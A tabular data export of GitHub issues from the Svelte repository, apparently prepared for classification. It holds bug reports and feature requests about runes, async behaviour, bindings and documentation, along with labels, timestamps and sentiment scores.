blocking all usage of svelte",bug,2025-08-15 07:53:12+00:00,2025-09-11 14:58:58+00:00,3,bug,27.2957,attachment in async await component not working describe the bug in my app in dev mode i experienced that my attachement didn t trigger when the node was added to the dom only after the component refreshed from hmr i guess the attachment triggered and in my case rendered a map i have a small repl where it doesn t work either but i don t know if async is activated on the svelte playground maybe this is the expected output and i m doing something wrong in the repl thanks for your help reproduction system info severity blocking all usage of svelte,bug,0.0644
sveltejs/svelte,3322343053,Crash on circular reference assignment in $state with 5.34.0+,"### Describe the bug

Assigning a circular reference into a `$state` object immediately crashes with a RangeError (maximum call stack size exceeded) in Svelte 5.34.0+, even without any recursion.

This worked as expected in Svelte 5.33.19.


### Reproduction

```svelte
<script>
  const filesState = $state({ files: {} });
  let nodes = { id: 1, items: [{ id: 2, items: [{ id: 3 }, { id: 4 }] }] };

  filesState.files = nodes;
  console.log('before assignment');
  filesState.files.items[0].parent = filesState.files; // 💥 crashes here
  console.log('after assignment'); // never reached
</script>
```

### Logs

```shell

```

### System Info

```shell
- Svelte version: 5.34.0 (and above)
- Previous working: 5.33.19
```

### Severity

blocking an upgrade",,2025-08-14 13:57:09+00:00,2025-08-14 20:36:30+00:00,3,nan,0.2773,crash on circular reference assignment in state with describe the bug assigning a circular reference into a object immediately crashes with a rangeerror maximum call stack size exceeded in svelte even without any recursion this worked as expected in svelte reproduction logs system info severity blocking an upgrade,bug,-0.8625
sveltejs/svelte,3320342825,$inspect and $state.snapshot call `toJSON` method on Three.js objects,"### Describe the bug

All Three.js objects contain a `toJSON` method for serializing state. In Svelte applications involving Three.js, including Threlte apps, it's common to create $state or $derived runes containing Three class instances. For example, one reason for doing this is that some objects must be recreated upon constructor parameter changes.

`$inspect` and `$state.snapshot` (haven't tested anything else yet) seem to be calling these objects' `toJSON` method, serializing them into objects with a completely different structure. This renders these runes unusable, since the logged object isn't the actual class instance.

### Reproduction

https://svelte.dev/playground/b9b4dded798b47b6b9cf293fe67d3d22?version=5.38.1

Open console to see serialized objects vs class instances.

### System Info

```shell
System:
    OS: macOS 15.6
    CPU: (8) arm64 Apple M2
    Memory: 398.06 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - /usr/local/bin/node
    npm: 10.9.2 - /usr/local/bin/npm
    pnpm: 9.15.9 - ~/Library/pnpm/pnpm
  Browsers:
    Chrome: 139.0.7258.68
    Safari: 18.6
```

### Severity

annoyance",,2025-08-14 01:07:27+00:00,2025-08-14 19:51:00+00:00,3,nan,0.7802,inspect and state snapshot call method on three js objects describe the bug all three js objects contain a method for serializing state in svelte applications involving three js including threlte apps it s common to create state or derived runes containing three class instances for example one reason for doing this is that some objects must be recreated upon constructor parameter changes and haven t tested anything else yet seem to be calling these objects method serializing them into objects with a completely different structure this renders these runes unusable since the logged object isn t the actual class instance reproduction open console to see serialized objects vs class instances system info severity annoyance,others,-0.4939
sveltejs/svelte,3318806976,Redirects inside remote function queries not working as expected,"### Describe the bug

In [the SvelteKit docs](https://svelte.dev/docs/kit/remote-functions#Redirects), it’s stated that redirects should work inside query functions. However, when I trigger a redirect within a query, the navigation happens, but the pending state persists — the UI continues to show the loading snippet instead of rendering the new page’s content. This gives the impression that the page is stuck in a loading state, even though the redirect has occurred.

Expected behavior: After a redirect from a query, the new page should render immediately, just like with redirects in load functions.

### Reproduction

[Stackblitz](https://stackblitz.com/edit/sveltejs-kit-template-default-fjfrbi2p?file=src%2Flib%2Fredirect.remote.ts)

### Logs

```Shell
Uncaught (in promise) Redirect {status: 307, location: '/about'}
```

### System Info

```Shell
From Stackblitz:

  System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^6.0.0 => 6.1.0 
    @sveltejs/kit: ^2.28.0 => 2.28.0 
    @sveltejs/vite-plugin-svelte: ^6.0.0 => 6.1.1 
    svelte: ^5.38.1 => 5.38.1 
    vite: ^7.0.4 => 7.1.2
```

### Severity

blocking an upgrade

### Additional Information

_No response_",,2025-08-13 07:43:00+00:00,2025-08-18 17:10:09+00:00,1,nan,5.3939,redirects inside remote function queries not working as expected describe the bug in the sveltekit docs it s stated that redirects should work inside query functions however when i trigger a redirect within a query the navigation happens but the pending state persists the ui continues to show the loading snippet instead of rendering the new page s content this gives the impression that the page is stuck in a loading state even though the redirect has occurred after a redirect from a query the new page should render immediately just like with redirects in load functions reproduction stackblitz logs system info severity blocking an upgrade additional information no response,others,-0.6249
sveltejs/svelte,3316752551,Fix in 5.38.0 breaks async iterators,"### Describe the bug

In 5.38.0 `return` of async iterator stops being called when breaking out of the loop. The REPL is based on a real code we have in production that got broken with the update. Mostly likely its https://github.com/sveltejs/svelte/pull/16521.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAAE51VS2_bMAz-K5ovldHAC3rM2gDDdliBndrdmh4Um26MqpIn0cmCwP99lGQ1dqwBxWAgsT4-RH58-JQp8QbZKvsBUmp20EZWjEPVIFR5tsjqRoLNVk-nDI-t03MA4YPV17Yt7B4kOmwrLKTwUisEheQmu7WlaVpcb9QGSymsZb_AIju5MyFaWTRdidrwPIIbxF1jCxKAeGN3TMGBPYCoxFbCowf5u-YGLQqDvEQjRw68APCewjB7ITk5v1tPxXQ52RSgfnfQAf8uEAqlDzzPx1r9gt0sl8sR1sfXfgAj4H9h7_LmUUe3aCmDE2uNl3wTqgS5YrWQFli_CHqjwD0hjHKswJDhiIjiBfDB4zz_4tUHEwPYGTVO7unx-LbVshD2qMp7okAQv8_8gp-5nXu8DVH-By_1fWHMcQ7GqJ0RxSwOookpFO7vIt7z09SMO6Oi0goSt4UoBz8SqNl-6vI1upsphnSYc7Zi1FWwYFT7jg6dqqBuFFSsT9j26ejS_IRn8OuD9--LlFaIxNc6IZ-H0rNSYLmjaTQmSccHycCd0QdGTuY3TIGhARMNEJLnPrdEKK7gWkIh9Qu_CrpX-SyQi7Mr9yc3EcVkGpKZho4qvQL11JB4OA9RJRL_ID-hQ4OzRBHAzeb_sp9spn_35qwh-0mnjKVnSUT9Xe5HRcLQ7dawMd2a5b4me91ULKzJPCiHGtedKrHRKspizhKIHN253Um-lgGstRkmm4erfAWZrv2dxbD3ZovOpcp62qk43XGxebzymcXh2uvrCLieibGs2U3OtlSF18ninfQi0KRXoRU9Mbef378_9F1Cmtds5WLqn-kkGnloVJWt_Ij2fwEUHGZ_GgcAAA==)

Observe logs in both 5.38.0 and 5.37.3. Newer version is missing `return` log.

Expected sequence should be `number -> number -> number -> return -> ended`.

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-08-13 03:11:56+00:00,2026-03-20 07:37:22+00:00,7,nan,219.1843,fix in breaks async iterators describe the bug in of async iterator stops being called when breaking out of the loop the repl is based on a real code we have in production that got broken with the update mostly likely its reproduction repl observe logs in both and newer version is missing log expected sequence should be logs system info severity blocking an upgrade,bug,-0.8402
sveltejs/svelte,3316170057,Input of type `file` does not update when you set the bound `files` prop to `undefined`,"### Describe the bug

I would expect that for some markup like this

```svelte
<input type=""file"" bind:files={files} />
```

Setting the files variable to `undefined` would update the input element state to have no selected files just as it is when the `files` variable has an initial value of `undefined`.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.38.1#H4sIAAAAAAAACm2PMWvDQAyF_4oQGWwwSbq6cSDQoUvp0q3X4eyTmwNFZ3xy0mD838vZTUqhaBB8enp6GlHsibDEZ2IOcAk9O8jIeSWXY4GtZ4pYvo-o1y7pEsDitnXounU8E2titY30H2-CKIlGLHEXm953ujdilElhtocKVlGtUpY_psGK2pYazbK82o8JGPUtZLM2_wFGI-mbP1EY_ghTNUFiYFpz-MzM8gGcbe9tzQQ-goQLDOKo9UIO6kFBjwRPry9ATCcShaieGY72TEtCg0uypW6h7x732VTAw3a7vYmn1KbcyG7z-7fsvHTp5rWjaolnEGovrpyNq3FuE2z2RrBApS_FUvuBpo8C1Xq-eHFYtpYjTd_hmLCmwAEAAA==

### Logs

```shell

```

### System Info

```shell
Does not matter
```

### Severity

annoyance",,2025-08-12 22:42:18+00:00,2025-08-13 08:09:19+00:00,2,nan,0.3938,input of type does not update when you set the bound prop to describe the bug i would expect that for some markup like this setting the files variable to would update the input element state to have no selected files just as it is when the variable has an initial value of reproduction logs system info severity annoyance,others,-0.3818
sveltejs/svelte,3315452731,Using a `$derived` value with `setContext` emits warning,"### Describe the bug

When putting a `$derived` inside `setContext`, a `state_referenced_locally` warning is shown. I think the warning is wrong.

```ts
let foo = $derived(...);

// Warning: This reference only captures the initial value of `foo`.
// Did you mean to reference it inside a closure instead?
setContext(""derived-context"", foo);
```

### Reproduction

https://svelte.dev/playground/1cdbccb4b0be48aba01cd0d27e74aa35?version=5.38.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.15 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (16) x64 Intel(R) Xeon(R) W-11955M CPU @ 2.60GHz
    Memory: 3.03 GB / 15.23 GB
    Container: Yes
    Shell: 5.2.15 - /bin/bash
  Binaries:
    Node: 20.19.3 - /usr/local/bin/node
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 10.11.1 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.37.3 => 5.37.3
```

### Severity

annoyance",,2025-08-12 18:52:05+00:00,2025-08-13 06:14:39+00:00,2,nan,0.474,using a value with emits warning describe the bug when putting a inside a warning is shown i think the warning is wrong reproduction logs system info severity annoyance,others,-0.9042
sveltejs/svelte,3313220294,Support for arbitrary :bind expressions,"### Describe the problem

If you try to use a function or anything other than a simple identifier or a member expression in a `bind:` directive you get an error:

```
<input bind:value={foo().bar} />
```

```
Can only bind to an Identifier or MemberExpression or a `{get, set}` pair
```

Since svelte 5.9.0 it is possible to do the above using get/set [function bindings](https://svelte.dev/docs/svelte/bind#Function-bindings) like this:

```
<input bind:value={
    () => foo().bar,
    (v) => foo().bar = v
} />
```

For cases like this where you're just getting/setting the same property on some arbitrary expression, it would make sense to be able to use the default `bind:` syntax as a shortcut.

### Describe the proposed solution

Arbitrary bind expressions like this:

```
<input bind:value={foo().bar} />
```

Should compile into get/set bindings like this:

```
<input bind:value={
    () => foo().bar,
    (v) => foo().bar = v
} />
```

The only constraint is that the expression be a property access of some kind, but the expression for the object and the expression for the property can both be arbitrary expressions.

In other words, these would all be valid:

```
<input bind:value={foo().bar} />
<input bind:value={foo[bar]} />
<input bind:value={foo[bar()]} />
<input bind:value={foo()[bar()]} />
```

But these would still result in an error:

```
<input bind:value={foo()} />
<input bind:value={foo.bar()} />
```

### Importance

nice to have",,2025-08-12 08:51:53+00:00,2025-08-12 10:50:23+00:00,8,nan,0.0823,support for arbitrary bind expressions describe the problem if you try to use a function or anything other than a simple identifier or a member expression in a directive you get an error since svelte it is possible to do the above using get set function bindings like this for cases like this where you re just getting setting the same property on some arbitrary expression it would make sense to be able to use the default syntax as a shortcut describe the proposed solution arbitrary bind expressions like this should compile into get set bindings like this the only constraint is that the expression be a property access of some kind but the expression for the object and the expression for the property can both be arbitrary expressions in other words these would all be valid but these would still result in an error importance nice to have,help,0.8316
sveltejs/svelte,3308686466,Inconsistent When Passing CSS Variables in Svelte,"### Describe the bug

I've defined a dynamically updating CSS variable --hue in App.svelte (updates every 50ms) and I'm passing it to Child components using four different methods:

Directly via Svelte's --bg-color property on the component tag
Via the style attribute setting --bg-color
Relying on CSS variable inheritance (parent defines variable, child uses it)
Referencing the parent variable in the style attribute with var(--parent-bg)

However, I've noticed that the colors displayed in the child components are inconsistent


### Reproduction

https://svelte.dev/playground/5b8bf537ceb040ea9ece40788153d0a8?version=5.38.0

### Logs

```shell

```

### System Info

```shell
svelte playground + chrome
```

### Severity

annoyance",,2025-08-11 06:51:43+00:00,2025-08-11 07:50:18+00:00,3,nan,0.0407,inconsistent when passing css variables in svelte describe the bug i ve defined a dynamically updating css variable hue in app svelte updates every ms and i m passing it to child components using four different methods directly via svelte s bg color property on the component tag via the style attribute setting bg color relying on css variable inheritance parent defines variable child uses it referencing the parent variable in the style attribute with var parent bg however i ve noticed that the colors displayed in the child components are inconsistent reproduction logs system info severity annoyance,others,-0.4215
sveltejs/svelte,3308231825,Re-add documentation for JSDoc and $props(),"### Describe the problem

The documentation addition made in https://github.com/sveltejs/svelte/pull/11370 (for issue https://github.com/sveltejs/svelte/issues/10541) seems to have disappeared.

### Describe the proposed solution

I hope we can bring this back, including:

- How to document props via JS or TS
- How to document components via `@component`

### Importance

nice to have",documentation,2025-08-11 02:07:29+00:00,2026-06-15 17:34:27+00:00,4,documentation,308.6437,re add documentation for jsdoc and props describe the problem the documentation addition made in for issue seems to have disappeared describe the proposed solution i hope we can bring this back including how to document props via js or ts how to document components via importance nice to have,documentation,0.7096
sveltejs/svelte,3307843118,Getting remote functions waterfall despite following the docs,"### Describe the bug

This is what the [docs for `await_waterfall` warning](https://svelte.dev/docs/svelte/runtime-warnings#Client-warnings-await_waterfall) recommend to do to avoid waterfalls:

```js
let aPromise = $derived(one());
let bPromise = $derived(two());

let a = $derived(await aPromise);
let b = $derived(await bPromise);
```

And this is what I'm doing:

```js
let quotesPromise = $derived(getQuotes());
let authorsPromise = $derived(getAuthors());

let quotes = $derived(await quotesPromise);
let authors = $derived(await authorsPromise);
```

I fail to see any difference between what I'm doing and what the docs tell me to do. Despite that, the waterfall and the warning are still there.


### Reproduction

https://stackblitz.com/edit/svelte-waterfall-warning-repro?file=src%2Froutes%2F%2Bpage.svelte

Open the preview in new tab, so that you can see the console warning and the waterfall in devtools.

### Logs

```shell
[svelte] await_waterfall (+page.svelte:7)
An async derived, `quotes` (src/​routes/​+page.svelte:7:14) was not read immediately after it resolved. This often indicates an unnecessary waterfall, which can slow down your app
```

### System Info

```shell
(StackBlitz container)

System:
  OS: Linux 5.0 undefined
  CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
  Memory: 0 Bytes / 0 Bytes
  Shell: 1.0 - /bin/jsh
Binaries:
  Node: 20.19.1 - /usr/local/bin/node
  Yarn: 1.22.19 - /usr/local/bin/yarn
  npm: 10.8.2 - /usr/local/bin/npm
  pnpm: 8.15.6 - /usr... [TRUNCATED]",,2025-08-10 18:28:31+00:00,2025-10-20 20:12:44+00:00,2,nan,71.0724,getting remote functions waterfall despite following the docs describe the bug this is what the docs for warning recommend to do to avoid waterfalls and this is what i m doing i fail to see any difference between what i m doing and what the docs tell me to do despite that the waterfall and the warning are still there reproduction open the preview in new tab so that you can see the console warning and the waterfall in devtools logs system info shell stackblitz container system os linux undefined cpu x intel r core tm i h cpu ghz memory bytes bytes shell bin jsh binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm pnpm usr truncated,documentation,-0.8979
sveltejs/svelte,3307829664,"TypeError: Can't access property ""increment"", batch is null","### Describe the bug

In specific cases, involving async ~and remote functions~ (see reproduction), Svelte throws an error:

```
TypeError: Can't access property ""increment"", batch is null
```

### Reproduction

~https://stackblitz.com/edit/svelte-await-null-batch-repro?file=src%2Froutes%2F%2Bpage.svelte~

~Open the preview in new tab, so that you can see console errors. Click the „OK” button in any row, then click „Verify next one”.~

Found a simpler reproduction that doesn't involve SvelteKit: https://svelte.dev/playground/bc31c16761ea4fabbaf8634c62d0698f?version=5.38.0.

### Logs

```shell
Uncaught (in promise) TypeError: can't access property ""increment"", batch is null
    async_derived deriveds.js:139
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    async_effect effects.js:338
    async_derived deriveds.js:118
    $$body Form.svelte:11
    Form Form.svelte:94
    effect2 hmr.js:47
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    branch effects.js:377
    wrapper hmr.js:38
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    block effects.js:365
    wrapper hmr.js:28
    alternate +page.svelte:32
    add_svelte_meta context.js:49
    alternate +page.svelte:32
    alternate_effect if.js:115
    update_reaction runtime.js:287
    update_effect runtime.js:467
    create_effect effects.js:125
    branch effects.js:... [TRUNCATED]",,2025-08-10 18:08:58+00:00,2025-08-25 18:29:40+00:00,3,nan,15.0144,typeerror can t access property increment batch is null describe the bug in specific cases involving async and remote functions see reproduction svelte throws an error reproduction open the preview in new tab so that you can see console errors click the ok button in any row then click verify next one found a simpler reproduction that doesn t involve sveltekit logs shell uncaught in promise typeerror can t access property increment batch is null async derived deriveds js update reaction runtime js update effect runtime js create effect effects js async effect effects js async derived deriveds js body form svelte form form svelte effect hmr js update reaction runtime js update effect runtime js create effect effects js branch effects js wrapper hmr js update reaction runtime js update effect runtime js create effect effects js block effects js wrapper hmr js alternate page svelte add svelte meta context js alternate page svelte alternate effect if js update reaction runtime js update effect runtime js create effect effects js branch effects js truncated,bug,-0.1027
sveltejs/svelte,3307403478,$effect does not run nested inside $derived (with repro),"### Describe the bug

An $effect inside a $derived statement does not run when the derived variable is accessed by two (or more) lines in a template, where the first one ""unsubscribes"" immediately. The second reference still gets the right return value, it's just that the effect never executed.

This was first reported by users of GitButler, and I managed to distill it down into a reproducible playground example. The setup might not be an ideal way of doing things, but it represents what you might end up with as a code base slowly evolves.

### Reproduction

This does not work: https://svelte.dev/playground/719a2a834fd34d02a204ac4b7c65973b?version=5.35.4
This works as expected: https://svelte.dev/playground/719a2a834fd34d02a204ac4b7c65973b?version=5.35.3

### Speculation

When the first template immediately updates with `toggle = true` the dependency on `result` is removed from the component's render effect, trigger a call to [`destroy_derived_effects`](https://github.com/sveltejs/svelte/blob/d2ba2589fee2ec6985c0fe0fbd800ab34518378e/packages/svelte/src/internal/client/reactivity/deriveds.js#L252), and its status is set to [`MAYBE_DIRTY`](https://github.com/sveltejs/svelte/blob/d2ba2589fee2ec6985c0fe0fbd800ab34518378e/packages/svelte/src/internal/client/runtime.js#L411).

When the dependency is re-established `is_dirty` returns false since the dependencies haven't changed, and the effect is not run. If this were true, it would perhaps explain why `$effect.pre` is unaffected by... [TRUNCATED]",,2025-08-10 09:49:13+00:00,2026-03-04 10:58:51+00:00,2,nan,206.0484,effect does not run nested inside derived with repro describe the bug an effect inside a derived statement does not run when the derived variable is accessed by two or more lines in a template where the first one unsubscribes immediately the second reference still gets the right return value it s just that the effect never executed this was first reported by users of gitbutler and i managed to distill it down into a reproducible playground example the setup might not be an ideal way of doing things but it represents what you might end up with as a code base slowly evolves reproduction this does not work this works as expected speculation when the first template immediately updates with the dependency on is removed from the component s render effect trigger a call to and its status is set to when the dependency is re established returns false since the dependencies haven t changed and the effect is not run if this were true it would perhaps explain why is unaffected by truncated,others,0.3637
sveltejs/svelte,3306880769,Set custom element data fails when using builtin custom elements.,"### Describe the bug

The helper `set_custom_element_data` only checks for autonomous custom elements but fails to check for builtin custom elements (`is` attribute) [here](https://github.com/sveltejs/svelte/blob/d2ba2589fee2ec6985c0fe0fbd800ab34518378e/packages/svelte/src/internal/client/dom/elements/attributes.js#L244), so it always set the value as attribute.

### Reproduction

https://svelte.dev/playground/46f14880c73443318e26dd375ff3c0d2

### Logs

```shell

```

### System Info

```shell
REPL
```

### Severity

annoyance",,2025-08-09 21:52:09+00:00,2025-08-25 19:06:54+00:00,0,nan,15.8852,set custom element data fails when using builtin custom elements describe the bug the helper only checks for autonomous custom elements but fails to check for builtin custom elements attribute here so it always set the value as attribute reproduction logs system info severity annoyance,others,-0.6956
sveltejs/svelte,3306519233,In Firefox target not defined in render.js#L196 (_mount/handle_event),"### Describe the bug

Sometimes `target` in https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/client/render.js#L196 is not defined in Firefox.

The exception occurs especially if the page is loaded in a background tab.
Could be a scheduling/GC bug in firefox again.

### Reproduction

I am not able to reproduce the bug in a minimal example and not in dev mode.
But I noticed for multiple of my svelte pages running in production that the page sometimes does not load if it is opened in a new tab in Firefox loading in the background.

For example open [this link](https://static.laszlokorte.de/renew-inspector/) in new tab multiple times (20 times) so that the tab loads in the background. Then switch to the newly opened tabs one after another and notice that for some of them the page did not load but threw an exception.

<img width=""790"" height=""239"" alt=""Image"" src=""https://github.com/user-attachments/assets/948af146-168d-45f7-9b49-bde87f29a759"" />

<img width=""653"" height=""541"" alt=""Image"" src=""https://github.com/user-attachments/assets/913691b0-e54e-4c92-bb4e-fbbb6bd260ee"" />

### Logs

```shell

```

### System Info

```shell
svelte@5.38.0
Firefox 141.0.3 (aarch64)
```

### Severity

annoyance",browser specific,2025-08-09 15:52:53+00:00,2025-08-14 14:52:56+00:00,2,browser specific,4.9584,in firefox target not defined in render js l mount handle event describe the bug sometimes in is not defined in firefox the exception occurs especially if the page is loaded in a background tab could be a scheduling gc bug in firefox again reproduction i am not able to reproduce the bug in a minimal example and not in dev mode but i noticed for multiple of my svelte pages running in production that the page sometimes does not load if it is opened in a new tab in firefox loading in the background for example open this link in new tab multiple times times so that the tab loads in the background then switch to the newly opened tabs one after another and notice that for some of them the page did not load but threw an exception logs system info severity annoyance,others,-0.7876
sveltejs/svelte,3306257075,Documentation does not mention using await with mount,"### Describe the bug

In the [documentation](https://svelte.dev/docs/svelte/imperative-component-api#mount) for the mount function, there's this paragraph:
> Note that unlike calling new App(...) in Svelte 4, things like effects (including onMount callbacks, and action functions) will not run during mount. If you need to force pending effects to run (in the context of a test, for example) you can do so with flushSync().

Therefore you would expect to need to call `flushSync()` if you want the `onMount` callback to run for example, but I found a (simpler) solution from another issue (https://github.com/sveltejs/svelte/discussions/15105#discussioncomment-11944625) which consisted of using `await mount(...)` instead of `mount(...)`. I don't know if this is intended or not, but unless I'm mistaken, this isn't mentioned anywhere in the Svelte documentation, nor in the function's signature.

Perhaps it would be better to mention this somewhere in the documentation, and optionally to make the function return a promise (or create an async mount function that returns a promise) because the svelte language server is confused as to why I use `await` on a synchronous function.

### Reproduction

I've created a minimal example [here](https://svelte.dev/playground/ad768b05862047a495f0538cb67aab69?version=5.38.0). You can see (in the console) that when mounting synchronously, the call to `mount` finishes before the `onMount` handler executes, and asynchronously, the `onMount` handler execut... [TRUNCATED]",,2025-08-09 11:31:55+00:00,2025-08-09 20:41:05+00:00,3,nan,0.3814,documentation does not mention using await with mount describe the bug in the documentation for the mount function there s this paragraph note that unlike calling new app in svelte things like effects including onmount callbacks and action functions will not run during mount if you need to force pending effects to run in the context of a test for example you can do so with flushsync therefore you would expect to need to call if you want the callback to run for example but i found a simpler solution from another issue which consisted of using instead of i don t know if this is intended or not but unless i m mistaken this isn t mentioned anywhere in the svelte documentation nor in the function s signature perhaps it would be better to mention this somewhere in the documentation and optionally to make the function return a promise or create an async mount function that returns a promise because the svelte language server is confused as to why i use on a synchronous function reproduction i ve created a minimal example here you can see in the console that when mounting synchronously the call to finishes before the handler executes and asynchronously the handler execut truncated,documentation,0.9461
sveltejs/svelte,3306171896,Declaration order of svelte 4 slot variables broken in Svelte 5.38+ when using `@const` directive,"### Describe the bug

Svelte 4 slots using inline `@const` declaration resulting in error at runtime
`Cannot access 'index' before initialization`

```svelte
<div slot=""item"" let:index let:style {style}>
	<!-- This results in error: ❌ -->
	<!-- `Cannot access 'index' before initialization` -->
	{@const item = list[index]}
	XOXO: {item}
	
	<!-- This works ✅ -->
	XOXO: {list[index]}
</div>
```



### Reproduction

```svelte
<div slot=""item"" let:index let:style {style}>
	<!-- This works ✅ -->
	XOXO: {list[index]}
</div>
```
Emits:
<img width=""508"" height=""357"" alt=""Image"" src=""https://github.com/user-attachments/assets/6933a8b6-a3eb-40c7-a313-3977163bd01d"" />

```svelte
<div slot=""item"" let:index let:style {style}>
	<!-- This results in error: ❌ -->
	<!-- `Cannot access 'index' before initialization` -->
	{@const item = list[index]}
	XOXO: {item}
</div>
```
Emits:
<img width=""455"" height=""378"" alt=""Image"" src=""https://github.com/user-attachments/assets/5a06ea94-e7d0-47a5-b484-27303e4665f8"" />
Here, const is emitted before any slot variable declaration

Here is an example project:
https://svelte.dev/playground/69d51ef1910347c4823c3e1c201d90f6?version=5.38.0

### Logs

```shell
Cannot access 'index' before initialization in <unknown> in VList.svelte in App.svelte in
```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-08-09 09:43:26+00:00,2025-10-20 01:35:39+00:00,1,nan,71.6613,declaration order of svelte slot variables broken in svelte when using directive describe the bug svelte slots using inline declaration resulting in error at runtime reproduction emits emits here const is emitted before any slot variable declaration here is an example project logs system info severity blocking an upgrade,others,-0.8934
sveltejs/svelte,3305445195,Function call passed as props in #if tag runs even if #if condition is false,"### Describe the bug

If I have an {#if} block where the condition is false, any props passed to a component in the {#if} tag which are calculated by a function will still call the function, resulting in potentially unexpected behavior.

See repl: https://svelte.dev/playground/f1a27ae8e85f478f93e6718dcbe6d4d4?version=5.38.0

Here App displays a Component, which takes in a prop, which is initially defined. Then it's made undefined by the button click, so I would expect anything inside the #if (eg. the rendering of Component2) not to run. But it still triggers modifyProp which is called from inside #if, which attempts to modify a property of an undefined parameter, even though it seems like that would be protected by the {#if} clause guarding against undefined.

modifyProp is not run when not passed as a prop to another component.

### Reproduction

https://svelte.dev/playground/f1a27ae8e85f478f93e6718dcbe6d4d4?version=5.38.0

### Logs

```shell
TypeError
TypeError: Cannot read properties of undefined (reading 'property')
    at modifyProp (playground:output:5179:72)
    at eval (playground:output:5193:34)
    at update_reaction (playground:output:3938:57)
    at execute_derived (playground:output:1684:13)
    at update_derived (playground:output:1700:15)
    at is_dirty (playground:output:3857:7)
    at flush_inspect_effects (playground:output:2543:8)
    at internal_set (playground:output:2524:5)
    at set (playground:output:2448:10)
    at HTMLButtonElement.on_click (playgr... [TRUNCATED]",,2025-08-08 23:42:53+00:00,2025-08-13 21:00:34+00:00,4,nan,4.8873,function call passed as props in if tag runs even if if condition is false describe the bug if i have an if block where the condition is false any props passed to a component in the if tag which are calculated by a function will still call the function resulting in potentially un see repl here app displays a component which takes in a prop which is initially defined then it s made undefined by the button click so i would expect anything inside the if eg the rendering of component not to run but it still triggers modifyprop which is called from inside if which attempts to modify a property of an undefined parameter even though it seems like that would be protected by the if clause guarding against undefined modifyprop is not run when not passed as a prop to another component reproduction logs shell typeerror typeerror cannot read properties of undefined reading property at modifyprop playground output at eval playground output at update reaction playground output at execute derived playground output at update derived playground output at is dirty playground output at flush inspect effects playground output at internal set playground output at set playground output at htmlbuttonelement on click playgr truncated,others,0.0772
sveltejs/svelte,3302705026,"Top level await prevents onMount, bind:this from running","### Describe the bug

When using a top level `await` inside of a `<script>` tag both `onMount` and elements with `bind:this` will not run, despite all promises in the script tag resolving. I suspect `onMount` and `bind:this` run at roughly the same time internally and are being blocked by a single issue.

### Reproduction

Reproduction of both issues can be found here:

https://www.sveltelab.dev/695vn9wj60ay38q?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte

Observe that

1. The button bound to `myButton` is undefined. This is shown both in the markup and by clicking the button to log the value of `myButton`
2. `onMount` has not run. This is shown both in the markup and by the absence of the log printed inside of `onMount`
3. Removing the `await ...` line causes both issues to go away

Oddly, when navigating to the second page `/page2` (which you can navigate to using the buttons) the `onMount` function from the first page will finally run. Navigating back to `/` will result in `onMount` and `bind:this` functioning seemingly correctly.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    Memory: 6.02 GB / 15.54 GB
    Container: Yes
    Shell: 5.3.3 - /bin/bash
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - /usr/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.13.1 - ~/.local/share/pnpm/pnpm
  Browsers:
    Chromium: ... [TRUNCATED]",,2025-08-08 05:38:02+00:00,2025-09-11 14:58:58+00:00,6,nan,34.3895,top level await prevents onmount bind this from running describe the bug when using a top level inside of a tag both and elements with will not run despite all promises in the script tag resolving i suspect and run at roughly the same time internally and are being blocked by a single issue reproduction reproduction of both issues can be found here observe that the button bound to is undefined this is shown both in the markup and by clicking the button to log the value of has not run this is shown both in the markup and by the absence of the log printed inside of removing the line causes both issues to go away oddly when navigating to the second page which you can navigate to using the buttons the function from the first page will finally run navigating back to will result in and functioning seemingly correctly logs system info shell system os linux arch linux cpu x amd ryzen six core processor memory gb gb container yes shell bin bash binaries node nvm versions node v bin node yarn usr bin yarn npm nvm versions node v bin npm pnpm local share pnpm pnpm browsers chromium truncated,others,0.5742
sveltejs/svelte,3302581182,Add 'hint' to the popover,"### Describe the problem

An error occurs: Type '""hint""' is not assignable to type '"""" | ""auto"" | ""manual"" | null | undefined'.


### Describe the proposed solution

Add 'hint' to the popover in packages/svelte/elements.d.ts.

### Importance

nice to have",,2025-08-08 04:28:25+00:00,2025-08-18 06:18:29+00:00,1,nan,10.0764,add hint to the popover describe the problem an error occurs type hint is not assignable to type auto manual null undefined describe the proposed solution add hint to the popover in packages svelte elements d ts importance nice to have,others,0.2263
sveltejs/svelte,3302287883,How does $effect detect which variables to watch?,"### Describe the bug

```html
<script>
  let count = $state(0);
  let flag = false;
  function handleClick() {
    count += 1;
    console.log(""flag is"", flag);
    flag = true;
  }

  $effect(() => {
    console.log(""effect"");
    if (flag) console.log(count);
  });
</script>

<button onclick={handleClick}>
  Count is {count}
</button>
```


Clicking a few times on the button outputs

```
effect
flag is false
flag is true
flag is true
flag is true
```


Adding an empty nil in the effect works (it actually calls the effect):

